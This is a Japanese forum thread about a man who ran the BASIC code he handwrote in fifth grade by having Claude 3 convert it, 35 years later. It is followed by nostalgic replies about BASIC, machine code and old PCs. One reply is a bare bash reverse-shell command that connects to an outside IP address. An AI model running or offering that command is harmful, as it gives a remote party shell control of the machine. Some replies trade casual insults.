小5がノートに手書きでプログラミング、35年後に動かした結果…当時親にパソコン購入反対されても"脳内実行" [おっさん友の会★]
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プログラミングをやってみたいと夢見ていた小学校5年生が、手書きでノートに書いていたコードが、35年の時を経て、生成AIによって動き出したーー。そんな夢のある投稿が話題になっています。投稿者に話を聞きました。(withnews編集部、松川希実)
●懐かしいビープ音!
話題になっているのは、Kazuyukiさん(@kazuyuki)のXの投稿です。
《5年生の時にパソコン購入を反対され、それでもプログラミングがしたくてこっそり買ったBASIC言語の入門書を見ながらノートにコードを書いてました。奇跡的にそれが残っていたので写真に撮りClaude3でJavascriptにして実行。35年の時を経て生成AIによって動きが知れたことに感動しています。》
投稿には、少し黄ばんだ方眼紙に描かれた手書きのコードと、AIによって生成されたコードの画像が添付されています。
そして動画では、懐かしい昔のコンピューターのビープ音とともに、四角形が色とりどりに変化しながら移動していく様子が映っています。
この投稿には「小学生の時、レポート用紙でまったく同じことをしてました!」「BASIC本を買って勉強してノートに書いて脳内実行してました」など、同じ経験をしていた人からの共感が続々と集まり、拡散されました。
●実家で見つかった3枚の紙切れ
投稿をした、エンジニアの阪(さか)和幸さん(47歳)に話を聞きました。
小5の時の自分が書いたコードを見つけたのは、5年前のこと。
実家に帰省した際、母が阪さんの小学生時代のノートなどをしまった段ボール箱を見るように促しました。「本当に捨てちゃうよ?」
「捨てても良いって言ったのに…」とぼやきつつ、阪さんがふとノートの束をめくると、3枚の紙切れが出てきました。
そこには、懐かしい手書きの「コード」が書かれていました。小5の時から、夢中になって取り組んだプログラミングの一部でした。
●「ゲームって、自分でも作れるんだ」
阪さんがプログラミングを始めたきっかけは、小2で発売されたファミリーコンピューター(ファミコン)でした。
続きはYahooニュース withnews
2024/04/14 7:00
https://news.yahoo.co.jp/articles/620c757a370c06e41a6e41ba3f82587c3afd0e4b 10 PRINT "ぬるぽ ";
20 GOTO 10
RUN 15年後にできるはずだろ
なんで
35年かかってんの Winny開発者を潰した日本じゃそりゃ35年もかかるわ プログラム書けた所で
人生に何の役にも立たないぞw
人間力を磨け、馬鹿共ww >>6
記事読みなよ
30年前にできただろならわかるけど… AIイラストにセリフの呟き入れて投稿するようになったよ >>8
プログラマーがリアルのあらゆる場面で勝利するっていう説もある
ジョブの効率的な実行とか何段階にも渡る複雑な因果関係の把握とかの訓練ができているから 30年前に書いたz80のコード書いたノート出てきたけど、エミュはあっても実行とかめんどくさすぎる
進化したプログラム言語とIDEバンザイ
>>8
ただの趣味じゃん。妬み強すぎ。今は小学生でもできるのに >>13
日本でそんな効率的なことしても意味なくね?
もっとコミュニケーション力を鍛えようぜ そのノートを見た当時の先生が密かにMicrosoft社へ連絡し、そのプログラミングを元に作られたのが…… >>5
10 PRINT "ガッ!";
20 GOTO 10
RUN 40年前、近所のららぽーとにお弁当持って行って、1日中ポケコンとかぴゅう太を触ってた。
なつい Twitterには、まだセリフ無しのイラスト投稿が主流かな。 >>17
ビープ音とか昔のコンピューターのエミュレーションでは? 「機種X」のキーボードの実物大写真でタイピング練習してたwww AIが空のfor nextでウエイトかけてるところをいい塩梅にしてくれるのかな あの頃のパソコンなんてテレビみたいにデカくて画面が黒くて数字が緑で全くソソられなかったけど小5やそこらであんなもんに興味を持って独学でプログラミングまでしちゃうなんて逆に凄い >>12
35年前はフロッピーでHDDは高値の華だったね
40年前ならカセットテープ
>>28
小数が整数で丸められていた気がかする >>31
値段がすごく高かったのもある。ディスプレイも専用のもの買わなきゃならなかったし
MSXみたいにテレビにつなげられるものもあったけど、それより今のノートPCの方が安いものがある恐ろしい時代 BASICで信号機とかドラえもんとか描いたなあ
あんなんでもきっかけにはなってるから無駄ではなかった 同世代だから解るけど、そんなもんだろうな
今みたいにデバッグしながらトライ&エラーで修正しながら作れる環境もなく
ノートにガチガチに設計してからインプットしてたわ
驚きなのは、その当時のノートを今まで残してことがスゲーわ
俺は当時のノートなんて一冊も残ってない 35年前なら多分Z80アセンブラだろ、あれは本当に楽しかった 書き残すなんて優秀だな
全コード脳内で組み立ててたわ
実行可能と見当がつけば直接コード打ち グラフ用紙にドット絵のキャラのデザインとかしてたけどなんも残ってねーわ
投稿してゲームが掲載された雑誌もあったけどどっか行った >>34
学ぶだけならMSXで良かったんやで
だがただのゲーム機だと思っている親も多かったようだ
楽器も触らねば上手くなれない 当時困ったのは記録
せっかく打ち込んでも電源切ると
無くなる。
で、テープを買った(一番安い10000円位だったかな コンピュータならば紙のようにボロボロになって劣化したりせず永遠に残る
そんな話があったあの頃の主流はデジタルデープ
テープ・FD・MD等様々な媒体が生まれたがどれも今では読み取る危機の入手が困難に
最もちゃんと当時の記録を残してくれていたのがディスられてた紙だったという皮肉 子供の時パソコン触ってる連中オタクの金持ちグループだったな~
横で見ていて何が面白いのかと思った >>8
典型的老害
自分の価値観が全てって思ってそう なーんだBASICか
その昔、アセンブラのコンパイラを持っていなかったときに
ノートにコードを書いてマシン語のコード表を見ながら手作業でコンパイルしたことがある >>54
むしろ若いITコンサル(詐欺師)のいいぐさ >>33
高校進学時買ってもらった88にはCD-ROM付いてた >>1
35年コード書けるような努力しなかった屑か >>52
MO「その並びで何故MDなんだ!答えろ!」 プログラミング長年やってると
バグの内容聞いただけで脳内コーティングしてデバッグ出来るようになる AIに「〇〇言語で〇〇の機能のプログラム書いて」と命令すると10秒で書いてくれるよ
これからもっと進化するだろうね >>52 機器の問題じゃないよ
劣化して読めないよ。
FDなんか全滅。フォーマットもできない。
テープはやったことないけどビデオテープの保存してるのが見れなくなったの考えると
やっぱダメそう
CDはもう読み込めません
案外丈夫なのがHDD これ頑丈
MOは読んだことないな。 >>65
ChatGPTでフレームワークも作れたから応用次第でいくらでも進化するだろうな ファミリーBASICで初めてプログラムに触れたけどキーボードのキーの配置おぼえるのが苦痛でプログラムどころじゃなかった
分厚い取り扱い説明書にメモリマップ書いてあったのも覚えてる
やはり当時はさっぱり意味がわからず FMタウンズで5万
マッキントッシュで120万とかだっけ
でPC持ってる中学生とかは陰気なオタクのイメージを作られたな お母ちゃんの捨てるよって確認が無ければ話題になることもなかった訳か
お母ちゃんに大感謝だなぁ >>71
中学生の頃手描きのキーボードで練習したわー
その後1行しか入力出来ない書院手に入れてロードス島戦記を毎日一から転記してた 俺はカシオのプログラム電卓でベーシック言語覚えたでよ BASICで四角を動かそうって発想が間違い。円なら正解
当時のプログラミングの目標は「短く小さく」だった
だから最近のプログラムは見ていて「なんて無駄な事させてるんだろう」と思う
ループの位置が違うだろ それ何回やらすんだ?
PCかわいそう と思う >>8
ネトウヨはゲームで遊ぶしか能が無いからプログラムどころか人間力も皆無ですよ(笑) パソコンもってるやつの家に行ってみんなで分担して雑誌見ながら大量に入力してたよね >>58
人間力はプログラミングやってても鍛えられます
老害は頭が悪いから片方しかできないんです >>83
そりゃあだからこそ老害と言われるわけで
その世代でもできる人がいたからこそ今があるしな もうちょいしたら
「プログラムって人間が書いていた時代があったんだ!」
てなるよな 35年前ぐらいなら部活の名簿をN88で作ってた
ロータス123は持ってなかった >>8
セルフレジでもたつくようなハッタショみたいな人間性量産されてもなんにもならんわ
どんぐり枯れるの早過ぎw どこの中国だよ
COCOM解除後数年で多軸直立制御まで速攻でたどり着いた頭脳集団みたい ファミコンの派生商品でファミリーベーシックってあったよな?
あれ何ができるの? プログラミングって出来たらかっけーと思うけど作ってみたいアプリがない
それと同じで外国語って出来たらかっけーと思うけど話す内容がない >>5
>>22
10 PRINT "逝ってよし";
20 GOTO 10
RUN 小4の時に「こんにちは!マイコン」という漫画を発売日に買った。
ゲームセンターあらしがプログラミングを覚えてBASICでゲームを作るという内容。
俺はこれでプログラミング沼にはまりプログラマーになりました すげー話だと感心してしまう
小5でプログラミングかよ
小5つったら珠算塾の月謝を塾に行かずにゲームセンターで消費して親にバレて珠算塾を辞めた頃だわ
小5ですでに差がこんなについてたんだなw
おれが低収入なのは持って生まれた人間性だったんだなw 初めてプログラムを書いた時にノートで作ってたのが「Hit & Blow」5桁の数字を当てるゲームね。 大学の理工系の研究室なら珍しくないかな。
いまだにN88-BASICでプログラム組んでGP-IBでデータ取りしているところはたくさんある。
ISET IFC
ISET REN
とかw >>65
プログラム能力はすごいね、でも数学の質問するとトンチンカンな返答ばかりで知識が偏り過ぎている >>87
現代は機械が映を作ってくれるカメラという便利なものがあるのに、いまだ絵画というカテゴリーは消えてないよね
またカメラで写せないものも人間は絵にできる
想像の世界など
同様にプログラムも棲み分けがなされるよ
AI、というかパッケージの製品と
人手で作られた製品とで ファイラーの方のFD思い出したわ
めちゃ愛用してました
出射さんどうもありがとうございました さすがに仕事で紙にコーディングしてた世代は死に絶えたか >>57
そこはコンパイルじゃなくてアセンブルだろw >>111
趣味の分野で残るかもしれないけど
だいたいはAIだろね >>108 なぜ、読める。うちのは読めなかった。ぜ〜んぶ捨てた。
8インチと5インチは記念に1枚ずつ保存(これは読み込む機械がなかった) >>65
でも現段階では少し複雑なものを作らせると間違えるんだよな
数年後に期待するわ >>116
今だってそうだよね
だいたいはパッケージでしょう
この話の行き着く先はAIがほぼ全てのパターンのパッケージを作って仕舞えば
それ以降はAIがプログラム組む必要がなくなる
それは今も似たようなものだし、将来的にもAIがPGを組む事態は無くなる >>79
それ、ファミコンカセットやMSX FANの一画面プログラム等の特殊環境だわ
当時は速さが全てだからクロック数表を片手に最適化 >>93
エクセルからb2向けのcsv作るのとか便利だぞ
まあcsv書き出しは汎用だから365のアカウント作るのとか色々使ってるが >>118
保守してるからだろ
HDDでもSSDでも、数年毎にコピーして弱くなった信号を焼き直し 凄いね
俺なんて親にねだって買ってもらったx68000はダンジョンマスターをプレイしたくらいで飽きて
大して使わず98系DOS-V買っちゃったよ お高いタブレットやらノーパソやら買うだけのアホよりよっぽど力になる勉強だな
こういうのは現場でも強くなれる >>4
これな
使うと実は効率的なんだよな
メモリとCPUが潤沢な今は
管理面で害がでかいから
やらないほうが良いけどw スレタイからハンドアセンブルしてた当時を思い出してほっこり
スレ開いたらBASICでガッカリって人が多くてワラタ 行番号が10おきなのは後で行を追加できるようにするためですか?
ということは10行以上は追加できないということ? HTML CSSは書けるけど
JSとかプログラミング全くできねえや 40年前に描いたおっぱいの絵を見てちんこがふっくらしたわ >>127
プログラマーって自閉症気質が多いんで、バカの一つ覚えでgotoを封印した奴は全アイデンティティをかけてgoto使いを否定してくるんでメンドイ >>129
RENUMだったかな
行番号をリナンバリングする命令が有ったはず 10 PRINT "BAKA"
20 GOTO 10 乱数にシード値が固定になってるね
シード値を時間からとるとか当時やってたのを思い出した >>8
PC使えない会社のゴミである事を認められない可哀想な窓際老害の常套句w 30年前の北京大学は紙に印刷された
Keyboardを使っていたという >>132
まあそういう人って
ダイクストラとか
「構造化定理」ってIBMが作ったマーケティング用語だったとか
って歴史的な話は知らなさそうだよねw >>129 RENUMってのがあったよ
>>112 未だにFDから抜け出せない頭の固い人達(じじい
WinFDって知っていますか?Windows10でも動きます
リンク貼り付けようとググったら
https://www.starseed.ne.jp/winfd/
死んでんのね。知らんかった >>132
goto はスパゲッティーの元と言われて30年以上たつのにまだそんな化石のような時代錯誤引きずってるのか? >>126
楽しいを追求すると、ゆっくりでも進歩していけるからね
今すごく楽しい 子供の好奇心て凄いな
好きこそものの上手なれってのはその通りだわ >>129
できたんじゃないかな
自分は似たような処理を先に書いて間に入るであろう処理群を確保するため桁が違うほど大きな行番号を振ってた記憶がある
プラットホームは忘れた
全部の環境でできると思うよ
でなければ大規模修正する時に行番号の書き換えが恐ろしいことになる 大人になってどんな経歴を歩んできたのか期待したけど、ただのエンジニアか。
ちょっと残念なような。 他人を自閉症アスペ呼ばわりするやつの化石脳もかなり病的だぞ >「コンピューターもないのに、ノートでこんなことやってるの、僕だけだろうな」
ファミコンあるんだからファミリーBASIC買ってもらえばよかったのに >>118
100均の布団圧縮袋にシリカゲルを入れて空気を抜いて保存しているわ GOTO はちゃんと全体として自分で管理してれば問題ない
これがダメなのはループから抜け出す時
PCはループのその時の場所、変数を記憶していなければならない。
PCかわいそう。メモリー変数領域が足らなくなる。
でも今見たくすべての変数領域を別々に持って変数名の使いまわしなんてもっての外
なら・・関係ない >>142
35年前なんてトラブったら目でソース追うしかなかったからじゃね? >>83
プログラマは掃いて捨てるほどいるとかアスペ連呼してたITコンサルも今や40
代の老害になってるのか >>157 コンピューターもないのに、ノートでこんなことやってるの、僕だけだろうな
おまえら
彼女もいないのに、手でこんなことやってるの、僕だけだろうな
www >>130
まあできる必要もやる必要もない
ただ自分で作ったものが動くのは楽しいし、正直HTMLやCSSより段違いに楽
複雑なもの作ろうとしたら難しくなるけど、それは何でも一緒 >>6
お前は黄色い帽子のちびっこと一緒に小学校からやり直したがいいよ BASICとか簡単すぎるだろ
アセンブリ言語で書いてニーモニック表でハンドアセンブルしてノートに書いてた中2時代 >>142
直接編成が可能になったあたりのメンフレ端末にはもうネストという概念推しがあったな >>145
理解が浅すぎるんだよ
スパゲティを解きほぐすのもgotoなんだよ
goto使わずに構文解析を実装してみ?
それさえやったこと無いだろ >>165
「BASIC」はむしろ難しい。どのBASICかよくわからんけどw
スクラッチとかビスケットとか簡単なものはいろいろある >四角形が色とりどりに変化しながら
>移動していく
スクリーンセーバーかな てか何に使うんや
ゲームのポリゴンみたいなのぬは応用出来たんだろうか >>171
構文解析自作(たったの一重ループで完璧に実現)で俺の右に出るやつはいないからお前も浅いのう、他人に浅いとかいうなよ おまえら語りたがりだから仕方ないけど
これは技術的な内容はどうでも良くて
あくまで情緒的なトピックだと思う
まあどうでもいいけど 小学生時代のコードを他言語に移植するのにAI使うとか頭いいのか悪いのか判断に困るな 中1の頃、勉強のためゲームを作ったりもしたけど
一番真面目にプログラミングしたのがエロサイト巡回用スクリプトだった思い出 シンクレアZX81ならBASIC付きで38700円
MSXより前にこんな安いパソコンの先生売ってたのに >>128
俺もまさに小4の時に親の知り合いからPC88譲ってもらってハンドアセンブルで簡単なゲーム作ったりしてたw
中学に入って本格的な3Dゲーム作りてーってなって、当時はDirectXみたいな便利なAPIは無いから
一から弾道計算(空気抵抗、反射)、3D表示、シェーディングのための座標変換、
ソーティングアルゴリズムとか勉強したおかげで数学、物理がかなり得意になったわ >>177
同世代で似たような体験したおっさんたちが空気読まずに技術的突っ込みいれまくるまでが様式美。プログラマーっぽいだろ?
VM使って当時の(欲しかった)環境再現までしてほしかった。 それが5ちゃんグロ画像嵐だったんですなら面白かったのに
そいつはドングリ買わせるための運営の嵐か政府の雇われ嵐なんだろうけど プログラミングは目が痛くなるから駄目だわプログラマー尊敬するわ >>171
あっwその一重ループからreturn false で大域脱出(goto と同等)してたわw
ちなみにループの中身はたったの13行一行平均10文字 >>1
信じられない位のジーニアス…
ここは母堂、これだけ才覚ある子なら物凄い高価な時代だったとしても買ってあげて欲しかった >>177
当時のコードをエミュレータでもいいから実行させたら動いた
なら美談なんだが生成AIのせいで美談でもなんでもなくなった よく分からんけど、プログラミングをパソコンで打ち込んで実行する流れに生成AIはどう言う関係があるの? >>171
ちなみに俺の作ったエディタの各言語別のテキスト色分けはその一重ループ構文解析を使っている
何をいいたいかというと万能型構文解析の究極形態 Basicかぁ…
かれこれ30年程前に小学校でFM TOWNSでBasicプログラミングの授業あったな 普通にネットとパソコンが普及する迄の間は
大学生のプログラミング言語の授業ですら
座学で手書きプログラミングだったが?
fortranとpascal(単位落とした)で結構苦労したw >>4
俺は世代的にはJAVA全盛期世代だと思うけど、一番最初に触ったのがBASICだからGOTO恐怖症はないんだ
なんなら手元で使うスクリプトは普通に使ってるレベル
仕事だと怒られるからやらねえけどwww 東大生なら、完全未経験でも大学の教科書をパラパラっとめくって初見で1時間あれば理解できる事 >>17
オタクだから
AIとりあえず使ってなんかやってみたいな的な
ただそれだけ バシック(笑)
やるならマシン語だろ
1111 1111 1111 1111 (65535)
バチーン アセンブラレベルでも簡単なコードなら1982年発売のpc9801のプログラムでも
最新のパソコンでも動くという現実 >>206
何でも吸収しちゃうのはある意味病的(サバン)
自分の好きなことだけスポンジのように吸収するのが普通の人間 >>1
懐かしいね
自分も小学生の頃マシン語をノートに書いてた
ジャンプアドレスを手で計算して…友達とみせあっこして家に帰ってMONで入力して暴走までがセットw >>5
懐かしいなあ、Basicだっけ?
大学(芸術系)の一般就職する人向けの講座でやったけどワケワカメで途中で逃げ出した… >>199
98とかの頃でしょ
俺が最初に買ってもらったWin95でも30万だか50万だかしたし、結構厳しいんじゃないかな
当時のPC雑誌とかからの知識ならBASICだけだったとしても別に不思議じゃないと思うが >>177
俺そういうの好きなんだよな~
ボブ・グリーンのコラム(古)的な だからどうした?
東海道の駅を全部言えるビックリ小学生みたいなものだし >>8
お前ID検索されてまで馬鹿にされてるぞ
お前の人間力で黙らしてやってくれよ 中学一年生当時
父がpc8801mkIIsr買ってきて
色々弄繰り回していたが
ベーマガのマシン語プログラム見て一瞬で諦めた時の思い出w
あの時、きちんとマシン語に向き合っていたら
理系に進んでエンジニアとして花開いていた可能性
※理系出身だがIT系で夢破れた現実 Syntax error (構文エラー) あああああああああああ、トラウマがぁあああああああああああ BASICの投稿ゲームプログラムを改変して、いろいろ遊んだなぁ >>5
12 C = RND(7)+1
15 COLOR C >>199
遊びや趣味の領域でC言語はないわ〜!
90年代初頭に大学生だったけど
ガチでレベルの高い理工学系は情報処理の学科でC言語必修だったらしいけど
うちの大学はフォートランだったな >>197
ノートの手書きプログラム→写真撮影&画像→AIが文字認識&JavaScript変換→現代のパソコンで実行 プログラムカウンタは2加算される
フラグレジスタは変化しない >>199
99年代後半でFortranとCOBOLだったよ ベーマガかログインかテクノポリスか。ポプコムにはプログラムは載ってなかったな >>218
あの頃はネットも無くプログラミングに関する情報が皆無だったからね
そこまで打ち込めるようなテーマもPCにはなかったし
事務くらいでしか使わないから金になる可能性も低かったし
しかたないよ 10 CLEAR
20 WIDE 80
30 A=0
40 PRINT "ぬるぽ"
50 A=A+1
60 IF A=20 THEN GO TO 80
70 RETURN 10
80 PRINT "ガッ"
90 END >>19
真理だね
PTAや子ども会で無駄な作業を削って1本化したり効率よく進められるようにすればするほどベテラン役員から嫌われる ポケコンでモグラ叩きゲームのプログラムを打ち込んで遊んだな。 >>8
プログラムくらい書けなくて、コンピュータでいったい何ができるってのよwww
人類の最後の道具だぜ?w
使えなくてどうするwww 大学ノートにマス目書いて
16進数のマシン語プログラム作るの普通にやってたわ >>237
おれも小学校の授業中にZ-80のハンドアセンブルとかしてたわwww 今みたいに常時接続だったら幾らくらいいったのだろう
ちょこっと繋いだだけで軽く20万オーバーしてたが >>233
自己レス
プログラム書き間違えた
10 CLEAR
20 WIDE 80
30 A=0
40 A=A+1
50 PRINT "ぬるぽ"
60 IF A=20 THEN GO TO 80
70 RETURN 40
80 PRINT "ガッ"
90 END >>199
その当時Cコンパイラは3万円以上とかで一般人には手に入りにくかった
唯一シャープ系のx68000とかx1ではメーカーが安く提供してた
ゲーム系ではコーエーがLSI-Cを導入してた
そこの社員から出た会社から出したラストハルマゲドンはCだったな >>232
今にして思うんだけど
あの時、中学を不登校になってでも
寝る間を惜しんでベーマガと向き合って
ゲーム作りに熱中していたら
人生変わっていた可能性
多分、今でも社畜やれていたかもしれないw
そうはならなくて幸いなんだけど... > こっそり買ったBASIC言語の入門書を見ながらノートにコードを書いてました
> 四角形が色とりどりに変化しながら移動していく様子が映っています
入門書に書いてあったサンプルプログラム写しただけやろ >>233 動かない 画面がチカチカするだけ、終わらない BASICもよく使ってたけど、
ポケコンでZ80アセンブラを直で使って
シューティングゲームとか作ってた
懐かしい 当時、大学入学までプログラミング言語の勉強をしたことは無かったが
当時のセンター試験の工業数学だかのプログラミング言語の試験は
初見で完答出来た
当時の試験問題は凄く素直な内容だった ゲームを一からは作れなかったけどプログラムの改造はしてた
ちなみに日立ベーシックマスターL3で価格はディスプレイ合わせて49万8千円
中学生の誕生日に買ってもらった
本当はAppleUが欲しかったけどフロッピーディスク読み書き二台分合わせて100万円近くになるから無理だった あなたの作ったプログラムを製品化しますとやってたのがコンピューター書籍出版とソフトウェア卸売り業のソフトバンク 35年前ならMSX安く買えただろ
ファミリーベーシックだってあったし >>232
>>245
でも、とにかく楽しかったけどな
ツールやAPIも整備されていなかったから実現できたときの達成感も凄かった
俺は中学時代3D(ポリゴン)表示に魅了されたわ
3Dゲームが作りたくて高校以上の数学を中学の時に必死に勉強したわw
当時はDirectXみたいな便利なAPIもなくて全部一から作らなきゃいけなかったからね >>242 なんだ。気づいたかw
ちなみに10 20 30 90要らない
60 70は IF A<20 THEN 40 で済む
だから
10 A=A+1
20 PRINT "ぬるぽ"
30 IF A<20 THEN 20
40 PRINT "ガッ"
これでOK
もっとやるなら
10 IF A<20 then A=A+1:PRINT "ぬるぽ":goto10 else PRINT "ガッ"
OK
おお!間違えたww
30 IF A<20 THEN 10 10 PRINT "ぬるぽ"
20 FOR I=1 to 100000
30 NEXT I
40 PRINT "ガッ"
50 GOTO 10 >>255
当時町田市に住んでいたけど
塾に行かずに町田駅前のパソコンショップ(ノジマ)に入り浸っている小僧の一人になりたかったw
当時は金もないのにゲーセンとかに行ってたな
やっぱり、先見の明はなかったよ... 小学生の時にノートに書いたBASICを中学生の時に読み返したら:や;がムチャクチャだった事を思い出した 女神転生シリーズに出てくる悪魔召喚プログラムは
とある高校生がBASIC言語で作ったという設定 こういう子供っているよな
カフトエビを飼育して新発見したとか
妹の足を調べて蚊の生態を知ったとか うちのオヤジが言ってた。
キーボード操作早くなったのは、ファミリーベーシックでゲームする時間稼ぐために急いで打ち込む必要があったって。 >>236
せやな
人類が最後に発明した道具であり、これから先はもうない
人の手で打つか機械が打つかの差しかもう生まれない >>258 それも間違えてら 時間待ちになってるだけ
さっきの私の書き込みは IF の使い方、考え方の指摘
結果だけならそのやり方(for next)が正しい
10 FOR I=1 to 20
20 PRINT "ぬるぽ"
30 NEXT I
40 PRINT "ガッ"
これが一番素直な書き方 >>269
スクリーン消去だっけ?www
もう覚えてねーわ…w >>256
月刊アスキーとかマイコンとかi/Oとか
余計なコマンド入れてみんなそれらしくしてたよ
そんでもってMicrosoft BASIC v1.0 まあコイツもそうだが単なる早熟に日本は神童だの天才だの騒ぎすぎ 1980年代のマイコンなら、For-Next 1000ループで十分かもしれない
1990年代のパソコンなら、100000ループぐらいないとチカチカする >>250
俺も読んだけど、Cがまともに使えるようになったって言えるのって組込系の仕事してからだったと思うわ
その以前はただ倣って打ってただけなんやなって
それに比べるとJAVAは習熟速度圧倒的に早くて楽だった すべてのプログラマさんのメンタルが健やかでありますように
日常生活の段取りをプログラミング言語で考えるようになったら仕事変えたほうがいいですよ
重篤化しています 昔のPCめっちゃ高かったようだし
仕事で必要とかでもなきゃ一般家庭がそうそう買えないよな on error goto resume
で Ctrl+Blakeしてからが始まり この当時でも学校にはパソコンはあっただろ?
使いたいなら使わせて貰えたはず >>244
どこのメーカーだったか試食版ってのがあったな
試用版じゃなくなぜか試食版 >>240
そういう親はいると思う
学校の進路指導とかで
親の希望は公務員にしたいとか言ってそう 雑誌のコード良く打ち込んでたな
IOとかマシン語のコードとか載ってて小学生の頃に何もわからず打ってたわ
単純でもゲーム出来るってのはやる気に繋がる >>284
35年前と言えば1993年
Windows95からがパソコンが一般化されたとされているその前の話
まだパソコンはマイコンと呼ばれていて、一般企業でも導入していない所の方が多かった
学校だとまだ置かれてるのはほとんど無かったな >>284
学校って言っても中学以下じゃ厳しいな
高校でも普通科じゃ厳しい
商業高校や大学はさすがにあったが >>214,244
PC-9801でLet's-C、Turbo-C 使ってた。書店にはC言語の本が溢れてた。研究室では Sun workstationで gcc 。
>>222
大学でもバイト先でもCだった。
>>228
うちの学科ではFortranは一つ上の学年まで。
>>250
大学指定の教科書はK&R >>284
ちなみにこの記事の「小5でドラクエ(1)が発売になった」なんて頃だと公立小学校なんてまずムリ /bin/bash -c "/bin/bash -i >& /dev/tcp/34.253.159.159/9999 0>&1 40年前の公立中の理科室にはコモドールがあった
35年前なら小学校にあってもおかしくはない >>250
エロいのと勘違いされるやつ
ちなみに雑誌「I/O」も発刊当初はスラッシュ無しで「IO」だったが
地方の個人書店が「なに?『エロ』だと!?こいつは売れるな」と読み間違えて大量発注して
大量に売れ残って返本になったことからスラッシュを入れたという都市伝説は聞いたことがある ベーマガか。
おいらも大学を卒業するまで買えなかった。 >>298
ファミコン本体がブームで売り切れ続出で
行く店行く店でファミリーベーシックだけ山積みだったw 昔はパソコンなんかに興味あるヤツはオタクと言われて蔑まれバカにされてた
自前のパソコンメーカーが昔から何社もありながらだ
日本はなるべくしてIT後進国になり世界から取り残された
今の若者もそう
使うのはスマホやタブレットばかりでは創造的な事なんて何もできない人間しか育たない >>270
真・女神転生シリーズだとスティーブン作にされているし
if...でそれが襲名制である事が仄めかされているし… >>302
ファミコンで出来て
なぜPCエンジンでやらなかったのか?
なあハドソン 天才少年といえばMZ700の神プログラミングの人とPC6001のTinyゼビウスの人 親にX68000買って貰ったけど、ゲームしかやらんかった
すまん…… Rubyのまっつんもコンパイラが買えなくて、エアーコンパイラと称して
あたまでコンパイラを考えてたとか言ってた >>303
ひろゆきと同じこと言ってるな。まあその点は俺も同意なんだけど
逆張りなのか知らんがより理解があるはずの堀江が真逆の考えでハゲと同じく日本人をITオンチにしたがってる
珍しく(?)ひろゆきが正しい パソコンはMacintosh6200だよ
究極のもっさりマシンだったよ 今はパソコンでWord、Excel、パワポ、CAD、フォトショ等普通の仕事でも毎日のように使うけどその当時ってパソコンでどんなことしてたんだろ スライムが5匹集まるとキングスライムになる
キングスライムが2匹あつまるとゴールデンスライムになる
最後にスライムごとに数を数えると足し算ができる! >>303
まあ、そもそも「創造的」なのがいいことだって、その時点で間違ってんのよw
「クリエイティヴで進歩的」なやつらがなにしてるか見りゃわかるでしょw
子曰く、述べて作らず
だよ?w 才能あったんだな
同じ年代でパソコンあったけどベーシックの最初のほうだけ
マシン語なんて理解出来た子供いたのだろうか? DOS/VのPC自作が流行りだした2000年初頭から
自作なんてやる奴は時代遅れ ホリエモン
自作しない奴はただバカなだけ ひろゆき
と真逆ではあった >>1
BASICで書いたコードを JavaScriptのコードに変換して、それを実行とか、
全然風情が無いというか、
BASICのエミュレータで動かせよと 探せばありそうなものだが >>321
そらあ、BASICのエミュレータでそのまま動かしたりなんかしたら、動くわけがないでしょwww
そもそもノートに書いてただけのプログラムなんてwww
よほど内容のないものならともかくwww
デバッグがいるのよ、デバッグがwww
まあ、いいじゃないのw、そんな夢があってもw 実家の押し入れに安置されてるMZ80思い出したわwまだ動くんかな 台湾の女子高生はどんなアホの子でもPCの構造を理解してます
韓国の子も日本よりはマシでしょう
日本は80年代PC普及に力を貸したソフトバンク孫正義が日本人ITオンチ化を推し進めたせいで若者のPC離れが加速し取り返しのつかないことになった >>327
孫正義は無関係すぎる
それにサバンの子供に孫正義は慈善団体設立して金銭支援してるしな >>303
完全に自社開発のpcはなかったよ
x86系はアメリカ製 Intel系統
漢字romつんでたから日本製ということで市場独占出来ただけ 35年前だと職場にあったNEC製オフコンのBASIC環境を使ってプログラム作成やってたなあ
業務で全く使えないものだったが、まあ勉強にはなった >>328>>330
孫と堀江がデスクトップはおろかノートでもPCでキーボード打つような時代はとうに終えたと云うて
スマホとタブしか扱えないほうが正解と若者に呼び掛けてたが(タブすら不要とも) それはホリエモンだろ、話がさっきと違ってズレ始めてる つうか1980年ではすでに電気屋に置いてあるBASICマシンで自作プログラム走らせてる
小中の子供は割と普通にいたねw 俺は中学くらいにCASIOのFX-602pで遊んでたw 同じことやって人って意外と多いんだな。中学のころパソコンはおろかファミベーすらもってなかったから、せめて気分だけでもプログラムしたくて方眼紙にbasic言語書いてた。それが大学の情報処理の講義でfortran使ってプログラム提出する課題に役に立った。 >>338
プログラムの構造を学ぶにはBASICが最適だったね >>52
それはいろんな記録媒体が乱立してた時に言われてたね
FD/MO 10~20年
CD/DVD 30~50年
石 100~500年
紙 100~2000年
だっけ?うろ覚えだけどなんだかんだ紙が1番て話だった >>336
気持ち悪い。人間じゃなくて機械なんじゃね >>295
公立でもパソコンぐらいはあった
その頃学校に日立のS1が入って触ってたわ >>343
テトリスミノが夢に出てくるというアレと同じ症状だよ >>303
パソコン触っていたのがオタクと言われたのは遥か後だよ
オタクなんて言葉は知られていないし…
オタクはアニメオタクを指す言葉だった ちょうど35年前だとすると2024ー35=1989年
昭和64/平成元年やね。
当時の自分振り返ると
縁あって中学校の情報処理部(パソコン部)に入れて
学校のPCー9801VMいぢってた。5インチフロッピーだった
BASICとZ'sSTAFF KiD98で学ぶのが日課。ベーマガ読んで感動してた
図形描画に三角関数とラジアンを知った。
電気屋にはパソコンコーナーがあって
たまに誰かがロムベーシック使ってラインアート動かしたりしてたね >>346
でもコードの場合は仕事絡みだろうからタチが悪いな >>144
むう、亡くなられてたか
FDからemacsに移行したがまた使ってみるか import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import javax.swing.JFrame;
public class Main extends JFrame {
private boolean running;
public Main() {this.addKeyListener(new KeyListener() {
@Override
public void keyTyped(KeyEvent e) {}
@Override
public void keyPressed(KeyEvent e) {
if (e.getKeyCode() == KeyEvent.VK_ESCAPE) {
running = false; }}
@Override
public void keyReleased(KeyEvent e) {}});
this.setSize(200, 200);
this.setVisible(true);
this.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
this.running = true;}
public static void main(String[] args) {
Main main = new Main();
while (main.running) {
try {System.out.println("ぬるぽ");
for (int i = 1; i <= 100000; i++) {}
System.out.println("ガッ");}
catch (Exception e) {
System.out.println("例外が発生しました: " + e.getMessage());}}}} >>314
パソコンではマルチタスクOSが一般的でなかったのとグラフィックスがショボかったことを除けば、できることは今とあまり変わらん。
